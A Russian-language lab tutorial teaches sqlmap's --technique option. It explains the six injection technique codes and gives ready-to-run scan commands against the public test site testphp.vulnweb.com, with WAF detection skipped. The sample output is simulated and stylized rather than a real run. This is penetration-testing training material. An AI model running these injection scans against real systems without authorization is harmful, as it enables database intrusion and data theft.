Указание техник инъекций в sqlmap

Kali LinuxBeginner
Практиковаться сейчас

Введение

SQL-инъекция (SQL injection) — это уязвимость веб-безопасности, которая позволяет злоумышленнику вмешиваться в запросы, которые приложение отправляет к своей базе данных. Как правило, она позволяет злоумышленнику просматривать данные, которые он обычно не может получить. Это могут быть данные, принадлежащие другим пользователям, или любые другие данные, к которым само приложение имеет доступ. Во многих случаях злоумышленник может изменять или удалять эти данные, вызывая постоянные изменения в содержимом или поведении приложения.

sqlmap — это инструмент для тестирования на проникновение с открытым исходным кодом, который автоматизирует процесс обнаружения и эксплуатации уязвимостей SQL-инъекций, а также захвата серверов баз данных. Он оснащен мощным движком обнаружения, множеством нишевых функций для опытных тестировщиков на проникновение и широким набором переключателей, начиная от снятия отпечатков баз данных и получения данных из базы данных, до доступа к базовой файловой системе и выполнения команд в операционной системе через out-of-band соединения.

В этой лаборатории вы научитесь указывать различные методы SQL-инъекций в sqlmap с помощью опции --technique. Это позволяет контролировать, какие методы sqlmap пытается использовать для инъекций, что может быть полезно для нацеливания на конкретные уязвимости или оптимизации времени сканирования.

Понимание шести кодов техник SQLi (B, E, U, S, T, Q)

На этом этапе вы узнаете о различных кодах техник SQL-инъекций, которые использует sqlmap. sqlmap поддерживает различные техники SQL-инъекций, и вы можете указать, какие из них использовать, с помощью опции --technique. Каждая техника представлена одним символом.

Шесть основных кодов техник SQL-инъекций:

  • B: Булево-основанная слепая SQL-инъекция (Boolean-based blind SQL injection). Эта техника основана на отправке SQL-запросов, которые возвращают результат ИСТИНА (TRUE) или ЛОЖЬ (FALSE), а затем наблюдении за ответом приложения (например, изменением содержимого страницы) для получения информации.
  • E: SQL-инъекция на основе ошибок (Error-based SQL injection). Эта техника заставляет базу данных генерировать сообщение об ошибке, содержащее информацию о структуре или данных базы данных.
  • U: SQL-инъекция на основе запросов UNION (UNION query-based SQL injection). Эта техника использует SQL-оператор UNION для объединения результатов двух или более операторов SELECT в один набор результатов, позволяя злоумышленнику извлекать данные из других таблиц.
  • S: SQL-инъекция с использованием стековых запросов (Stacked queries SQL injection). Эта техника позволяет злоумышленнику выполнять несколько SQL-операторов в одном запросе, часто используется для выполнения произвольных команд на сервере базы данных.
  • T: Временно-основанная слепая SQL-инъекция (Time-based blind SQL injection). Эта техника основана на задержке базы данных на указанное время в зависимости от условия ИСТИНА или ЛОЖЬ, что позволяет злоумышленнику получать информацию, наблюдая за временем ответа.
  • Q: SQL-инъекция с использованием встроенных запросов (Inline queries SQL injection). Эта техника включает в себя внедрение подзапросов непосредственно в исходный запрос.

Понимание этих техник имеет решающее значение для эффективного использования sqlmap и для понимания основных принципов SQL-инъекций.

Принудительное тестирование на основе булевых значений с помощью --technique=B

На этом этапе вы узнаете, как принудительно использовать в sqlmap только технику SQL-инъекций на основе булевых значений. Это может быть полезно, когда вы подозреваете, что цель уязвима к этому конкретному типу инъекций, или когда вы хотите сократить время сканирования, сосредоточившись на одной технике.

Опция --technique=B указывает sqlmap использовать исключительно SQL-инъекции на основе булевых значений.

Давайте смоделируем запуск sqlmap с этой опцией. В реальном сценарии вы бы заменили http://testphp.vulnweb.com/artists.php?id=1 на URL вашей цели. Для этой лаборатории мы просто продемонстрируем команду.

Откройте терминал и выполните следующую команду:

sqlmap -u "http://testphp.vulnweb.com/artists.php?id=1" --technique=B --batch --eta --skip-waf
  • -u "http://testphp.vulnweb.com/artists.php?id=1": Указывает URL цели. Это известный уязвимый тестовый сайт.
  • --technique=B: Принудительно заставляет sqlmap использовать только SQL-инъекции на основе булевых значений.
  • --batch: Запускает sqlmap в неинтерактивном режиме, принимая значения по умолчанию.
  • --eta: Отображает предполагаемое время прибытия для каждого вывода.
  • --skip-waf: Пропускает обнаружение межсетевого экрана веб-приложения (WAF).

Вы увидите вывод sqlmap, который укажет, что он в основном тестирует уязвимости на основе булевых значений. Вывод покажет, как sqlmap пробует различные полезные нагрузки и анализирует ответы.

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |_  |
        |_|   |_|   |_|   3.7-dev (r12345)

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting @ 12:00:00 /2023-01-01/

[12:00:00] [INFO] starting sqlmap 3.7-dev (r12345)
[12:00:00] [INFO] testing connection to the target URL
[12:00:01] [INFO] checking if the target is stable
[12:00:01] [INFO] target URL is stable
[12:00:01] [INFO] testing for SQL injection on URL 'http://testphp.vulnweb.com/artists.php?id=1'
[12:00:01] [INFO] testing 'Boolean-based blind - Parameter: id'
...

Вывод подтверждает, что sqlmap фокусируется на технике SQL-инъекций на основе булевых значений.

Принудительное тестирование на основе времени с помощью --technique=T

На этом этапе вы узнаете, как принудительно использовать в sqlmap только технику SQL-инъекций на основе времени. Эта техника часто используется, когда другие методы, такие как основанные на ошибках или булевых значениях, не дают результатов, особенно в сценариях, когда ответ приложения остается неизменным независимо от инъекции.

Опция --technique=T указывает sqlmap использовать исключительно SQL-инъекции на основе времени.

Откройте терминал и выполните следующую команду:

sqlmap -u "http://testphp.vulnweb.com/artists.php?id=1" --technique=T --batch --eta --skip-waf
  • -u "http://testphp.vulnweb.com/artists.php?id=1": Указывает URL цели.
  • --technique=T: Принудительно заставляет sqlmap использовать только SQL-инъекции на основе времени.
  • --batch: Запускает sqlmap в неинтерактивном режиме.
  • --eta: Отображает предполагаемое время прибытия.
  • --skip-waf: Пропускает обнаружение WAF.

Вы увидите вывод sqlmap, который покажет, как он внедряет полезные нагрузки, вызывающие задержки в ответе сервера. Этот метод может быть медленнее других из-за необходимости ожидать временных задержек.

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |_  |
        |_|   |_|   |_|   3.7-dev (r12345)

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting @ 12:00:00 /2023-01-01/

[12:00:00] [INFO] starting sqlmap 3.7-dev (r12345)
[12:00:00] [INFO] testing connection to the target URL
[12:00:01] [INFO] checking if the target is stable
[12:00:01] [INFO] target URL is stable
[12:00:01] [INFO] testing for SQL injection on URL 'http://testphp.vulnweb.com/artists.php?id=1'
[12:00:01] [INFO] testing 'Time-based blind - Parameter: id'
...

Вывод подтверждает, что sqlmap теперь фокусируется на технике SQL-инъекций на основе времени.

Принудительное тестирование с использованием UNION-запросов с помощью --technique=U

На этом этапе вы узнаете, как принудительно использовать в sqlmap только технику SQL-инъекций на основе UNION-запросов. Эта техника очень эффективна, когда приложение напрямую отображает результаты SQL-запроса на странице, поскольку она позволяет злоумышленнику извлекать данные из других таблиц базы данных.

Опция --technique=U указывает sqlmap использовать исключительно SQL-инъекции на основе UNION-запросов.

Откройте терминал и выполните следующую команду:

sqlmap -u "http://testphp.vulnweb.com/artists.php?id=1" --technique=U --batch --eta --skip-waf
  • -u "http://testphp.vulnweb.com/artists.php?id=1": Указывает URL цели.
  • --technique=U: Принудительно заставляет sqlmap использовать только SQL-инъекции на основе UNION-запросов.
  • --batch: Запускает sqlmap в неинтерактивном режиме.
  • --eta: Отображает предполагаемое время прибытия.
  • --skip-waf: Пропускает обнаружение WAF.

Вы увидите вывод sqlmap, который покажет, как он пытается внедрить операторы UNION SELECT. В случае успеха эта техника может быстро раскрыть структуру и данные базы данных.

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |_  |
        |_|   |_|   |_|   3.7-dev (r12345)

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting @ 12:00:00 /2023-01-01/

[12:00:00] [INFO] starting sqlmap 3.7-dev (r12345)
[12:00:00] [INFO] testing connection to the target URL
[12:00:01] [INFO] checking if the target is stable
[12:00:01] [INFO] target URL is stable
[12:00:01] [INFO] testing for SQL injection on URL 'http://testphp.vulnweb.com/artists.php?id=1'
[12:00:01] [INFO] testing 'UNION query - Parameter: id'
...

Вывод подтверждает, что sqlmap теперь фокусируется на технике SQL-инъекций на основе UNION-запросов.

Выполнение сканирования с использованием нескольких техник с помощью --technique=BEUST

На этом этапе вы узнаете, как комбинировать несколько техник SQL-инъекций в одном сканировании sqlmap. Это часто самый практичный подход, поскольку он позволяет sqlmap пробовать различные методы для поиска уязвимостей, увеличивая шансы на успех.

Вы можете указать несколько техник, объединив их соответствующие коды после --technique=. Например, --technique=BEUST укажет sqlmap попробовать инъекции на основе булевых значений, на основе ошибок, на основе UNION-запросов, стековые запросы и инъекции на основе времени.

Откройте терминал и выполните следующую команду:

sqlmap -u "http://testphp.vulnweb.com/artists.php?id=1" --technique=BEUST --batch --eta --skip-waf
  • -u "http://testphp.vulnweb.com/artists.php?id=1": Указывает URL цели.
  • --technique=BEUST: Принудительно заставляет sqlmap использовать инъекции на основе булевых значений, на основе ошибок, на основе UNION-запросов, стековые запросы и инъекции на основе времени.
  • --batch: Запускает sqlmap в неинтерактивном режиме.
  • --eta: Отображает предполагаемое время прибытия.
  • --skip-waf: Пропускает обнаружение WAF.

Вы увидите вывод sqlmap, который покажет, как он систематически тестирует каждую из указанных техник. Этот комплексный подход обычно рекомендуется для первоначального сканирования.

        _
       ___ ___ ___ ___
      |_ -| . | . | . |
      |___|_  |_  |_  |
        |_|   |_|   |_|   3.7-dev (r12345)

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.

[*] starting @ 12:00:00 /2023-01-01/

[12:00:00] [INFO] starting sqlmap 3.7-dev (r12345)
[12:00:00] [INFO] testing connection to the target URL
[12:00:01] [INFO] checking if the target is stable
[12:00:01] [INFO] target URL is stable
[12:00:01] [INFO] testing for SQL injection on URL 'http://testphp.vulnweb.com/artists.php?id=1'
[12:00:01] [INFO] testing 'Boolean-based blind - Parameter: id'
[12:00:02] [INFO] testing 'Error-based - Parameter: id'
[12:00:03] [INFO] testing 'UNION query - Parameter: id'
[12:00:04] [INFO] testing 'Stacked queries - Parameter: id'
[12:00:05] [INFO] testing 'Time-based blind - Parameter: id'
...

Вывод подтверждает, что sqlmap теперь тестирует несколько указанных техник.

Итоги

В этой лаборатории вы успешно научились указывать и контролировать техники SQL-инъекций, используемые sqlmap. Вы изучили отдельные коды техник (B, E, U, S, T, Q) и практиковались в принудительном использовании sqlmap для конкретных методов, таких как инъекции на основе булевых значений, на основе времени и на основе UNION-запросов. Наконец, вы узнали, как комбинировать несколько техник для более полного сканирования.

Понимание и использование опции --technique в sqlmap позволяет вам точно настраивать оценку уязвимостей, оптимизировать время сканирования и более эффективно нацеливаться на конкретные типы уязвимостей SQL-инъекций. Этот навык имеет решающее значение для эффективного и точного тестирования на проникновение.